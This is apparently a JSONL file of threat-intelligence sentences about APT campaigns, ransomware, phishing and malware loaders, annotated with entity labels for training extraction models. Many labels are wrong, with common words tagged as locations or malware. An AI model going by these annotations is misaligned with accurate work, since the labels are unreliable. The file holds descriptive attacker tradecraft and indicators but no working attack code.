{"id":5475,"text":"We further tested Tweety Chat and saw red flags indicating their targets of interest: verification emails with a physical address whose postal code is assigned to a provincial capital that also appears (upon logging in) as a chat channel in Tweety Chat.","entities":[{"id":51466,"label":"SOFTWARE","start_offset":18,"end_offset":24},{"id":51467,"label":"SOFTWARE","start_offset":241,"end_offset":247}],"relations":[],"Comments":[]}
{"id":13880,"text":"A DarkSide data leak site is later discovered.","entities":[],"relations":[],"Comments":[]}
{"id":3593,"text":"The modified method which was renamed to Kirkuk, which is also a name of a city in Iraq What other payloads are using KurdishCoder?","entities":[],"relations":[],"Comments":[]}
{"id":14096,"text":"At the same time, practically all code for the SLUB malware was created from scratch.","entities":[{"id":48176,"label":"malware","start_offset":47,"end_offset":52}],"relations":[],"Comments":[]}
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{"id":9803,"text":"Operation ENDTRADE\u2019s timeline","entities":[],"relations":[],"Comments":[]}
{"id":3717,"text":"FIN7 attacks can stage collected data in a particular location in preparation for exfiltration.","entities":[{"id":49517,"label":"threat-actor","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
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{"id":4390,"text":"We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.","entities":[{"id":50203,"label":"malware","start_offset":10,"end_offset":21}],"relations":[],"Comments":[]}
{"id":13898,"text":"Some of the known lateral movement methods deployed by DarkSide use PSExec and RDP.","entities":[{"id":43087,"label":"malware","start_offset":68,"end_offset":74},{"id":43088,"label":"location","start_offset":75,"end_offset":78},{"id":43089,"label":"malware","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
{"id":13000,"text":"This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.","entities":[{"id":48800,"label":"location","start_offset":50,"end_offset":57},{"id":48801,"label":"attack-pattern","start_offset":129,"end_offset":138}],"relations":[],"Comments":[]}
{"id":6856,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.","entities":[],"relations":[],"Comments":[]}
{"id":6311,"text":" We encourage all security vendors to create protections to detect activity from this tool and all organizations to be on alert for activity from this tool.  Palo Alto Networks customers receive protections from the threats described in this blog through Threat Prevention, Cortex XDR and WildFire malware analysis.","entities":[{"id":19580,"label":"location","start_offset":18,"end_offset":26},{"id":19581,"label":"location","start_offset":86,"end_offset":90},{"id":19582,"label":"location","start_offset":91,"end_offset":94},{"id":19583,"label":"location","start_offset":122,"end_offset":127},{"id":19584,"label":"location","start_offset":151,"end_offset":155},{"id":19587,"label":"location","start_offset":285,"end_offset":288},{"id":19588,"label":"malware","start_offset":289,"end_offset":297}],"relations":[],"Comments":[]}
{"id":4098,"text":" Command Description CMDCommand Executes commands DownloadCloudFile Downloads files UploadCloudFile Uploads files GetDir Lists directories GetDirFile Lists files in a directory DeleteSelf Deletes itself  SmileSvr  ","entities":[],"relations":[],"Comments":[]}
{"id":6004,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[],"relations":[],"Comments":[]}
{"id":1364,"text":"By supplying the boolean true, the comparison between boolean true and the reset code string results in a boolean true, even though the two variables have different types.","entities":[],"relations":[],"Comments":[]}
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{"id":174,"text":"There is no effective solution for ransomware at the operating system level, as outlined above.","entities":[],"relations":[],"Comments":[]}
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{"id":5067,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[],"relations":[],"Comments":[]}
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{"id":7032,"text":"In detail, this process involves multiple steps.","entities":[],"relations":[],"Comments":[]}
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{"id":8280,"text":"In some cases, compromised SMTP servers belonging to the hotels he had breached were used.","entities":[],"relations":[],"Comments":[]}
{"id":14328,"text":"As seen in the figure below, it also has other games aside from Virtual Girlfriend.","entities":[{"id":48555,"label":"malware","start_offset":64,"end_offset":82}],"relations":[],"Comments":[]}
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{"id":3645,"text":"And like with all targeted attacks, you don\u2019t have to be the ultimate target of the attack campaign to be a target: this is a tactic that can be used as part of a broader attack campaign.","entities":[],"relations":[],"Comments":[]}
{"id":569,"text":"At the time of infection experiments, 1 BTC equaled approximately $54,649, suggesting that the exchange rate in the ransom note is not updated on the fly.","entities":[],"relations":[],"Comments":[]}
{"id":3148,"text":"This threat detection tool, which will work closely with Trend Micro cloud solutions, will provide another valuable layer of defense in our fight against a shared adversary.","entities":[{"id":48269,"label":"SOFTWARE","start_offset":57,"end_offset":84}],"relations":[],"Comments":[]}
{"id":9875,"text":"It provides a more comprehensive look at APT33 and other critical threats.","entities":[{"id":30105,"label":"threat-actor","start_offset":41,"end_offset":46},{"id":30106,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
{"id":4933,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":50951,"label":"threat-actor","start_offset":15,"end_offset":20},{"id":50950,"label":"TIME","start_offset":3,"end_offset":13}],"relations":[],"Comments":[]}
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{"id":3792,"text":"In this blog post, we analyze ChessMaster's current status, including the updated tools in its arsenal \u2014 with a particular focus on the evolution of ANEL and how it is used in the campaign.","entities":[{"id":49638,"label":"malware","start_offset":149,"end_offset":153},{"id":49637,"label":"campaign","start_offset":30,"end_offset":41}],"relations":[],"Comments":[]}
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{"id":408,"text":" Unauthorized coin mining is a new threat that can affect retailers and shoppers in a way that could impact or even halt their online shopping experience.","entities":[{"id":44747,"label":"attack-pattern","start_offset":1,"end_offset":25}],"relations":[],"Comments":[]}
{"id":2852,"text":" For protections, customers are advised to view this blog post that outlines the various ways the Palo Alto Networks platform prevents this threat.  Cyber Threat Alliance member ElevenPaths has developed a tool which can be used to attempt to recover some files deleted by WanaCrypt0r.","entities":[{"id":48059,"label":"identity","start_offset":178,"end_offset":189},{"id":48058,"label":"identity","start_offset":149,"end_offset":170},{"id":48057,"label":"identity","start_offset":98,"end_offset":116},{"id":48056,"label":"malware","start_offset":273,"end_offset":284}],"relations":[],"Comments":[]}
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{"id":13088,"text":"That\u2019s why we\u2019re thrilled to be joining the ROS-Industrial Consortium (ROS-I) to help accelerate the secure development of robotic Industry 4.0 applications.","entities":[],"relations":[],"Comments":[]}
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{"id":519,"text":"The majority of ransomware is delivered by email.","entities":[{"id":44761,"label":"attack-pattern","start_offset":16,"end_offset":48}],"relations":[],"Comments":[]}
{"id":14402,"text":"There are a number of ways lateral movement is performed, but the key is to hide and remove evidence of their presence.","entities":[],"relations":[],"Comments":[]}
{"id":2037,"text":"Once decrypted, the payload is dropped to System32 with the name userlogin.exe before a service is created that points to it.","entities":[{"id":45228,"label":"FILEPATH","start_offset":65,"end_offset":78}],"relations":[],"Comments":[]}
{"id":1219,"text":" All of the IAP SDKs in this post target Chinese users.","entities":[],"relations":[],"Comments":[]}
{"id":4256,"text":"In some cases, the key is split in half in the binary, so it is first reunited before being used.","entities":[],"relations":[],"Comments":[]}
{"id":10382,"text":"It will then enable the threat actors to steal certain information and even download TeamViewer to gain remote access to the system.","entities":[{"id":31606,"label":"location","start_offset":3,"end_offset":7},{"id":31607,"label":"location","start_offset":67,"end_offset":70},{"id":31608,"label":"malware","start_offset":85,"end_offset":95},{"id":31609,"label":"location","start_offset":104,"end_offset":110}],"relations":[],"Comments":[]}
{"id":6254,"text":" The Filmkan dropper has a Flash icon to help make it appear as a legitimate update.  The author of Filmkan created the dropper using AutoHotkey (AHK), a legitimate tool for creating Windows applications using a custom scripting language.","entities":[{"id":19383,"label":"location","start_offset":165,"end_offset":169},{"id":19384,"label":"attack-pattern","start_offset":219,"end_offset":228}],"relations":[],"Comments":[]}
{"id":3615,"text":"           Tags  Mobile | APT & Targeted Attacks | Research","entities":[],"relations":[],"Comments":[]}
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{"id":4754,"text":"The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.","entities":[],"relations":[],"Comments":[]}
{"id":4029,"text":"Based on our investigation, we found that the intrusion process used by Earth Centaur can be separated into several stages, which are shown in Figure 1.","entities":[{"id":49869,"label":"threat-actor","start_offset":72,"end_offset":85}],"relations":[],"Comments":[]}
{"id":7035,"text":"16  Name of the shellcode  DLPPREM32.bin  20  Name of the encrypted payload  data.res  24  MD5 of the encrypted payload  e43e40416520dab5b4c44ac8af907078  28  Name of the encrypted configuration  config.res  32  Name of the registry key value  servTest  36  Name of the service DisplayName  Servdisplay   Table 1.","entities":[{"id":22066,"label":"MD5","start_offset":121,"end_offset":153}],"relations":[],"Comments":[]}
{"id":5403,"text":"There are several reasons that these devices are favored by an attacker \u2014 the infrequency of patching, the lack of security software, and the limited visibility of defenders.","entities":[],"relations":[],"Comments":[]}
{"id":7980,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":24728,"label":"location","start_offset":23,"end_offset":31},{"id":24730,"label":"location","start_offset":113,"end_offset":117},{"id":24731,"label":"location","start_offset":124,"end_offset":130},{"id":24732,"label":"tools","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]}
{"id":13474,"text":"As one example, we've seen new activity from \u201chack-for-hire\u201d firms, many based in India, that have been creating Gmail accounts spoofing the WHO.","entities":[{"id":51546,"label":"threat-actor","start_offset":45,"end_offset":66},{"id":51547,"label":"location","start_offset":82,"end_offset":87},{"id":51548,"label":"identity","start_offset":141,"end_offset":144}],"relations":[{"id":1102,"from_id":51546,"to_id":51548,"type":"targets"},{"id":1103,"from_id":51546,"to_id":51547,"type":"located-at"}],"Comments":[]}
{"id":6882,"text":"Once people clicked on the emails, they were presented with phishing pages designed to trick them into providing their Google account credentials.","entities":[{"id":21520,"label":"attack-pattern","start_offset":60,"end_offset":68},{"id":21521,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
{"id":2343,"text":"To run the exploit in our virtual environment, we decided to write a loader in Python which did the following:  For our payload, we wrote a simple bash script which runs id and pipes the result to a file in \/tmp.","entities":[],"relations":[],"Comments":[]}
{"id":4772,"text":"We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users\u2019 hands.","entities":[],"relations":[],"Comments":[]}
{"id":9293,"text":"On April 14, the attackers injected a script to the payment checkout libraries used by the PrismWeb platform.","entities":[],"relations":[],"Comments":[]}
{"id":9345,"text":" Figure 2.","entities":[],"relations":[],"Comments":[]}
{"id":3710,"text":"The gathered information can aid in the next step: lateral movement.","entities":[{"id":49505,"label":"attack-pattern","start_offset":51,"end_offset":67}],"relations":[],"Comments":[]}
{"id":5547,"text":"It will look completely normal and will allow you to pay in the usual manner.","entities":[],"relations":[],"Comments":[]}
{"id":14240,"text":"We surmise that the GitHub account was not compromised, and instead created by Winnti.","entities":[{"id":48434,"label":"SOFTWARE","start_offset":20,"end_offset":27},{"id":48435,"label":"identity","start_offset":79,"end_offset":85}],"relations":[],"Comments":[]}
{"id":10090,"text":"The commands that can be executed include:  Registry operations (read, write, and delete registry keys\/entries) File operations (read, write, and delete files) Run\/stop processes Reboot the system    What is Supernova?","entities":[{"id":30772,"label":"location","start_offset":18,"end_offset":21},{"id":30773,"label":"location","start_offset":78,"end_offset":81},{"id":30774,"label":"location","start_offset":142,"end_offset":145},{"id":30775,"label":"location","start_offset":164,"end_offset":168},{"id":30776,"label":"malware","start_offset":208,"end_offset":217}],"relations":[],"Comments":[]}
{"id":13103,"text":"This protocol is used heavily by ROS2 and will therefore be another area in which we hope to deliver tremendous value to ROS-I and end-customers going forward.","entities":[],"relations":[],"Comments":[]}
{"id":3559,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]}
{"id":3177,"text":"Many of the loaders that we found were used to load Cobalt Strike shellcode by default instead of the BIOPASS RAT malware.","entities":[{"id":48302,"label":"tools","start_offset":52,"end_offset":65},{"id":48303,"label":"malware","start_offset":102,"end_offset":113}],"relations":[],"Comments":[]}
{"id":2447,"text":"One was included in the PoC and uses the pwd parameter for authentication (password is always j) and the cmd parameter for the command to execute.","entities":[],"relations":[],"Comments":[]}
{"id":4222,"text":"While small and relatively simple, we found this malicious application interesting to analyze as it revealed the countries targeted by the threat actor.","entities":[],"relations":[],"Comments":[]}
{"id":2225,"text":"A feature that has yet to be seen is that of string encryption.","entities":[],"relations":[],"Comments":[]}
{"id":6181,"text":"     Figure 3. The spear-phishing email disguised as an advertisement for a shopping coupon      Figure 4.","entities":[{"id":19106,"label":"location","start_offset":19,"end_offset":24},{"id":19107,"label":"attack-pattern","start_offset":25,"end_offset":33},{"id":19108,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
{"id":7108,"text":" We do not know which malware variant is being sideloaded by vlc.exe.","entities":[],"relations":[],"Comments":[]}
{"id":5163,"text":"How are you handling lateral movement?","entities":[{"id":51217,"label":"attack-pattern","start_offset":21,"end_offset":37}],"relations":[],"Comments":[]}
{"id":11640,"text":" After the gathered credentials are sent, some of the phishing pages will redirect victims to different documents or news pages.","entities":[{"id":35719,"label":"location","start_offset":32,"end_offset":35},{"id":35720,"label":"attack-pattern","start_offset":54,"end_offset":62},{"id":35721,"label":"location","start_offset":69,"end_offset":73}],"relations":[],"Comments":[]}
{"id":6756,"text":"From late 2019 to February of this year, researchers published several reports on Gamaredon, tracking the group\u2019s activities.","entities":[],"relations":[],"Comments":[]}
{"id":3588,"text":"First, the debug symbols paths were leaked -- suggesting a possible custom build which can be correlated with another modification applied to CyaX.  Figure 7.","entities":[{"id":49372,"label":"tools","start_offset":142,"end_offset":146}],"relations":[],"Comments":[]}
{"id":2442,"text":"Figure 10 shows an example of the early scanning activity.","entities":[],"relations":[],"Comments":[]}
{"id":2787,"text":" And our research shows that this isn\u2019t an isolated event.","entities":[],"relations":[],"Comments":[]}
{"id":8754,"text":"We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
{"id":4428,"text":"When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.","entities":[],"relations":[],"Comments":[]}
{"id":2707,"text":"This could be exploited with drive-by downloads or watering-hole attacks, and has been observed being used in attacks in the wild.","entities":[{"id":47948,"label":"attack-pattern","start_offset":51,"end_offset":72},{"id":47949,"label":"attack-pattern","start_offset":29,"end_offset":47}],"relations":[],"Comments":[]}
{"id":577,"text":"First, we reviewed the trends from prevalent ransomware families, then we discussed the most common file types used as attack vectors leveraged by ransomware.","entities":[],"relations":[],"Comments":[]}
{"id":4213,"text":"The app\u2019s features are similar to the previous malicious Android application, such as having the ability to record audio and steal SMS, accounts, contacts and certain file types from specific directories.","entities":[{"id":50026,"label":"SOFTWARE","start_offset":57,"end_offset":64},{"id":50028,"label":"attack-pattern","start_offset":125,"end_offset":177},{"id":50027,"label":"attack-pattern","start_offset":108,"end_offset":120}],"relations":[],"Comments":[]}
{"id":12110,"text":"Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.","entities":[{"id":37470,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]}
{"id":4748,"text":"We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.","entities":[],"relations":[],"Comments":[]}
{"id":13236,"text":"Execute a command through exploits for CVE-2017-11882 or CVE-2018-0802, security flaws in Microsoft Office\u2019s Equation Editor (EQNEDT32.EXE).","entities":[{"id":41274,"label":"location","start_offset":72,"end_offset":80},{"id":41275,"label":"identity","start_offset":90,"end_offset":99},{"id":41276,"label":"tools","start_offset":100,"end_offset":106},{"id":41277,"label":"threat-actor","start_offset":109,"end_offset":117}],"relations":[],"Comments":[]}
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{"id":7933,"text":"In order to understand how this works, let\u2019s first take a look at how Android installs apps.","entities":[],"relations":[],"Comments":[]}
{"id":294,"text":"The cited KEVs and their impacted devices \u2013 all of which can be identified using Cortex Xpanse \u2013 are:   Cortex Xpanse\u2019s ability to index the entire internet helps organizations discover, prioritize, and remediate significant exposures on their attack surfaces \u2013 including all of the impacted services listed above.","entities":[{"id":44688,"label":"SOFTWARE","start_offset":81,"end_offset":94},{"id":44689,"label":"SOFTWARE","start_offset":104,"end_offset":117}],"relations":[],"Comments":[]}
{"id":5007,"text":"Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.","entities":[],"relations":[],"Comments":[]}
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{"id":1288,"text":"When the self-extracting executable is launched, the downloader and legitimate file are typically dropped in one of the following directories and then executed:  When the malicious downloader is executed, it begins by creating the 'mcsong[]' event in order to ensure one instance is running.","entities":[{"id":46660,"label":"attack-pattern","start_offset":171,"end_offset":191}],"relations":[],"Comments":[]}
{"id":970,"text":"All SMS messages sent to the phone are uploaded, not just those that are relevant to Taomike\u2019s platform.","entities":[{"id":46470,"label":"identity","start_offset":85,"end_offset":92}],"relations":[],"Comments":[]}
{"id":3482,"text":"In Blackgear\u2019s previous campaigns, Protux\u2019s configuration format had to be changed to another version.","entities":[{"id":49288,"label":"threat-actor","start_offset":3,"end_offset":12},{"id":49289,"label":"malware","start_offset":35,"end_offset":41}],"relations":[],"Comments":[]}
{"id":4005,"text":"These are determined by the Secretary of Homeland Security as possessing or operating critical infrastructure wherein a cyber incident could lead to a catastrophic regional or national effect on national security, economic security, or public health.","entities":[{"id":49862,"label":"identity","start_offset":28,"end_offset":58}],"relations":[],"Comments":[]}
{"id":13663,"text":"In a July email sent to a C-level executive, we learned that the base domain URL is U10450540[.]ct[.]sendgrid[.]net, with the final URL being *getting-panes[.]sfo2*.      Figure 3.","entities":[{"id":51748,"label":"URL","start_offset":84,"end_offset":116},{"id":51749,"label":"URL","start_offset":142,"end_offset":164},{"id":51750,"label":"identity","start_offset":26,"end_offset":43}],"relations":[{"id":1152,"from_id":51750,"to_id":51748,"type":"related-to"},{"id":1153,"from_id":51750,"to_id":51749,"type":"related-to"}],"Comments":[]}
{"id":72,"text":"This wave of attacks will continue as long as it maintains a high level of profitability with a low level of risk for cybercriminals.","entities":[],"relations":[],"Comments":[]}
{"id":4815,"text":"Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.","entities":[{"id":50738,"label":"SOFTWARE","start_offset":43,"end_offset":54},{"id":50740,"label":"malware","start_offset":155,"end_offset":177},{"id":50739,"label":"threat-actor","start_offset":130,"end_offset":135}],"relations":[{"id":1001,"from_id":50740,"to_id":50738,"type":"impersonates"},{"id":1003,"from_id":50740,"to_id":50739,"type":"authored-by"}],"Comments":[]}
{"id":445,"text":"This is an attack against not just shoppers but the retailers operating online shopping sites.","entities":[],"relations":[],"Comments":[]}
{"id":14067,"text":"     Figure 8. Javascript executing the malware.","entities":[],"relations":[],"Comments":[]}
{"id":8237,"text":"Raise employee awareness.","entities":[],"relations":[],"Comments":[]}
{"id":1726,"text":"In recent research, Palo Alto Networks found attackers were creating fake versions of some well-known and well-trusted websites \u2013 including Adobe, DropBox, Facebook, and others- and putting malicious links to these sites into phishing emails sent to unsuspecting victims.","entities":[{"id":46901,"label":"SOFTWARE","start_offset":147,"end_offset":153},{"id":46903,"label":"identity","start_offset":20,"end_offset":38},{"id":46899,"label":"attack-pattern","start_offset":226,"end_offset":241},{"id":46900,"label":"SOFTWARE","start_offset":140,"end_offset":145},{"id":46902,"label":"SOFTWARE","start_offset":156,"end_offset":164}],"relations":[],"Comments":[]}
{"id":5505,"text":"There were also a few thousand files in the account that were later deleted.","entities":[],"relations":[],"Comments":[]}
{"id":4972,"text":"Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.","entities":[{"id":51031,"label":"identity","start_offset":25,"end_offset":28},{"id":51032,"label":"TIME","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]}
{"id":11868,"text":"In our environment, we did not receive any payloads past this stage.","entities":[],"relations":[],"Comments":[]}
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{"id":13132,"text":"Security is a complex business, especially in the cloud, where many traditional rules associated with the on-premises world no longer apply.","entities":[],"relations":[],"Comments":[]}
{"id":11446,"text":"During the development stage, Android-created and open source components are subject to vigorous security reviews","entities":[{"id":34971,"label":"location","start_offset":46,"end_offset":49},{"id":34972,"label":"attack-pattern","start_offset":55,"end_offset":61},{"id":34973,"label":"location","start_offset":73,"end_offset":76},{"id":34974,"label":"location","start_offset":97,"end_offset":105}],"relations":[],"Comments":[]}
{"id":192,"text":"We recommend that all organizations proactively prepare to defend against this potential threat.","entities":[],"relations":[],"Comments":[]}
{"id":6575,"text":"The IP range for \u201cPIG GOD\u201d is 43[.]255[.]188.0\/22, which appears to be hosted in Hong Kong as seen in the information we found:  inetnum: 43[.]255[.]188[.]0 - 43[.]255[.]191[.]255 netname: PIG-HK description: PIG GOD country: HK admin-c: PG406-AP tech-c: PG406-AP person: pig god country: HK phone: +852-39437000 e-mail: admin@66[.]to nic-hdl: PG406-AP mnt-by: MAINT-RAIBOW-HK changed: admin@66[.]to 20160917 source: APNIC  The domain 66[.]to leads to another website that shows Hack520\u2019s pet pig.","entities":[{"id":20354,"label":"location","start_offset":7,"end_offset":12},{"id":20355,"label":"location","start_offset":22,"end_offset":25},{"id":20356,"label":"identity","start_offset":81,"end_offset":90},{"id":20357,"label":"IPV4","start_offset":138,"end_offset":156},{"id":20358,"label":"IPV4","start_offset":159,"end_offset":179},{"id":20359,"label":"location","start_offset":213,"end_offset":216},{"id":20360,"label":"location","start_offset":264,"end_offset":270},{"id":20361,"label":"location","start_offset":276,"end_offset":279},{"id":20364,"label":"attack-pattern","start_offset":409,"end_offset":415}],"relations":[],"Comments":[]}
{"id":4050,"text":"We also found that the group tries to launch various backdoors per victim.","entities":[{"id":49897,"label":"attack-pattern","start_offset":38,"end_offset":62}],"relations":[],"Comments":[]}
{"id":3118,"text":" For information on how Palo Alto Networks products are affected by these issues, customers can see our posting on the Live Community at: https:\/\/live.paloaltonetworks.com\/t5\/Customer-Advisories\/Information-about-Meltdown-and-Spectre-findings\/ta-p\/193878\/jump-to\/first-unread-message.","entities":[{"id":48258,"label":"identity","start_offset":24,"end_offset":42},{"id":9530,"label":"URL","start_offset":138,"end_offset":283}],"relations":[],"Comments":[]}
{"id":5493,"text":"A few days after, the operator stopped answering in the chat room, and her user account was deleted from the server.","entities":[],"relations":[],"Comments":[]}
{"id":7029,"text":"Based on our investigation, instead of the usual three files, the threat actor used five:  dlpumgr32.exe, a legitimate signed file that belongs to the DESlock+ product DLPPREM32.DLL, a malicious DLL sideloaded by dlpumgr32.exe that loads and decodes DLPPREM32.bin DLPPREM32.bin, a shellcode that decompresses and loads a launcher in memory data.res, an encrypted file decoded by the launcher and contains two SysUpdate versions: one for a 32-bit architecture and another for a 64-bit architecture config.res, an encrypted file decoded by the launcher and contains the SysUpdate configuration, such as the command-and-control (C&C) address  ","entities":[{"id":22049,"label":"location","start_offset":238,"end_offset":241},{"id":22050,"label":"location","start_offset":309,"end_offset":312},{"id":22051,"label":"location","start_offset":392,"end_offset":395},{"id":22052,"label":"malware","start_offset":409,"end_offset":418},{"id":22053,"label":"location","start_offset":429,"end_offset":432},{"id":22055,"label":"location","start_offset":459,"end_offset":462},{"id":22057,"label":"location","start_offset":551,"end_offset":554},{"id":22058,"label":"malware","start_offset":568,"end_offset":577},{"id":22059,"label":"location","start_offset":613,"end_offset":616}],"relations":[],"Comments":[]}
{"id":3442,"text":" Vulnerable Systems Mitigation Actions Observed in the Wild Conclusion Additional Resources Indicators of Compromise  The F5 product vulnerable to CVE-2022-1388 is BIG-IP with the following versions:  The vulnerability exists within the iControl REST framework used by BIG-IP.","entities":[{"id":49208,"label":"vulnerability","start_offset":201,"end_offset":218},{"id":49209,"label":"tools","start_offset":118,"end_offset":132},{"id":49207,"label":"vulnerability","start_offset":146,"end_offset":160},{"id":49210,"label":"tools","start_offset":237,"end_offset":260}],"relations":[{"id":755,"from_id":49208,"to_id":49207,"type":"duplicate-of"},{"id":756,"from_id":49209,"to_id":49207,"type":"has"},{"id":757,"from_id":49210,"to_id":49208,"type":"has"}],"Comments":[]}
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{"id":8105,"text":"All of this is done without user awareness or intervention.","entities":[],"relations":[],"Comments":[]}
{"id":12314,"text":"We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
{"id":5912,"text":"[00:14:00] Additional Resources:","entities":[{"id":18159,"label":"TIME","start_offset":1,"end_offset":10}],"relations":[],"Comments":[]}
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{"id":6656,"text":"Link to IOCs on GitHub  ","entities":[],"relations":[],"Comments":[]}
{"id":2740,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Around 6:00 am PST on September 24, the details of a vulnerability in the widely used Bourne Again Shell (Bash) were disclosed by multiple Linux vendors.","entities":[{"id":47978,"label":"TIME","start_offset":60,"end_offset":87},{"id":47979,"label":"SOFTWARE","start_offset":192,"end_offset":197},{"id":47980,"label":"SOFTWARE","start_offset":139,"end_offset":164}],"relations":[],"Comments":[]}
{"id":8150,"text":" Figure 16.","entities":[],"relations":[],"Comments":[]}
{"id":7698,"text":"In another routine that was supposed to result in a stack overflow, it also displayed an error message.","entities":[],"relations":[],"Comments":[]}
{"id":188,"text":"Shortly after, a new round of website defacement attacks were also observed impacting Ukrainian government organizations.","entities":[{"id":45856,"label":"identity","start_offset":86,"end_offset":120},{"id":45857,"label":"attack-pattern","start_offset":30,"end_offset":48}],"relations":[],"Comments":[]}
{"id":13603,"text":"The script showing the error message and redirect to the fake Flash installer      Figure 11.","entities":[],"relations":[],"Comments":[]}
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{"id":3358,"text":"Note that we\u2019ve submitted an abuse report to Alibaba, but we have yet to receive feedback at the time of publication.","entities":[{"id":48969,"label":"identity","start_offset":45,"end_offset":52}],"relations":[],"Comments":[]}
{"id":4629,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":50543,"label":"identity","start_offset":18,"end_offset":21},{"id":50544,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":50545,"label":"malware","start_offset":69,"end_offset":80},{"id":50546,"label":"SOFTWARE","start_offset":111,"end_offset":116},{"id":50542,"label":"TIME","start_offset":3,"end_offset":16},{"id":50547,"label":"SOFTWARE","start_offset":118,"end_offset":124},{"id":50548,"label":"SOFTWARE","start_offset":130,"end_offset":147}],"relations":[{"id":982,"from_id":50545,"to_id":50544,"type":"authored-by"}],"Comments":[]}
{"id":305,"text":"This allows the attacker to maintain control over the system even after the Citadel infection is removed.","entities":[{"id":46004,"label":"malware","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]}
{"id":12050,"text":"On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
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{"id":3666,"text":"In our analysis of a related past campaign, we observed that attackers enter the system through spear phishing.","entities":[{"id":49450,"label":"attack-pattern","start_offset":96,"end_offset":110}],"relations":[],"Comments":[]}
{"id":3752,"text":"Instead, they were either non-specific Mirai variants or contained previously known exploits such as CVE-2017-17215.","entities":[{"id":49581,"label":"malware","start_offset":39,"end_offset":44},{"id":49580,"label":"vulnerability","start_offset":101,"end_offset":115}],"relations":[{"id":834,"from_id":49581,"to_id":49580,"type":"exploits"}],"Comments":[]}
{"id":417,"text":" The best way to understand the threat of unauthorized coin mining is to first understand its impact.","entities":[{"id":46115,"label":"attack-pattern","start_offset":42,"end_offset":66}],"relations":[],"Comments":[]}
{"id":6123,"text":"Only three AV vendors correctly identified it as PlugX malware.","entities":[{"id":18938,"label":"malware","start_offset":49,"end_offset":54}],"relations":[],"Comments":[]}
{"id":4958,"text":"Workspace administrators are also notified regarding targeted accounts in their domain.","entities":[],"relations":[],"Comments":[]}
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{"id":3329,"text":"An \u201cignore\u201d list is used to filter the file extensions of URLs to avoid manipulating resources that are not JavaScript or HTML.","entities":[],"relations":[],"Comments":[]}
{"id":11749,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":36213,"label":"location","start_offset":9,"end_offset":15},{"id":36214,"label":"location","start_offset":30,"end_offset":34},{"id":36215,"label":"location","start_offset":46,"end_offset":53},{"id":36216,"label":"location","start_offset":54,"end_offset":58},{"id":36218,"label":"location","start_offset":141,"end_offset":144},{"id":36220,"label":"attack-pattern","start_offset":193,"end_offset":201}],"relations":[],"Comments":[]}
{"id":10730,"text":"Based on the hardcoded version number they divulged (Version:1.15.11.26TB Mini), we were able to source other versions of the backdoor (listed in the appendix).","entities":[{"id":32793,"label":"attack-pattern","start_offset":97,"end_offset":103}],"relations":[],"Comments":[]}
{"id":3784,"text":"Channel : #D getsome  7e29615126585b9f87ded09cfae4724bb5d7896c7daf2adfcef775924549e49b  099ac2f3e10346dbef472b2a7b443ebfe1f6011a9a2518a54c20aad07fe9ec61  Updated May 23, 2022, at 1 p.m. PT.   Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[{"id":11461,"label":"SHA2","start_offset":88,"end_offset":152},{"id":11460,"label":"SHA2","start_offset":22,"end_offset":86},{"id":49623,"label":"TIME","start_offset":162,"end_offset":189}],"relations":[],"Comments":[]}
{"id":11664,"text":"This fake DLL library decrypts the main backdoor + stealer from the .tmp file in the same directory.","entities":[{"id":35789,"label":"location","start_offset":14,"end_offset":21},{"id":35790,"label":"malware","start_offset":51,"end_offset":58},{"id":35791,"label":"location","start_offset":85,"end_offset":89}],"relations":[],"Comments":[]}
{"id":10123,"text":"In the second half of 2017 Pawn Storm, an extremely active espionage actor group, didn\u2019t shy away from continuing their brazen attacks.","entities":[],"relations":[],"Comments":[]}
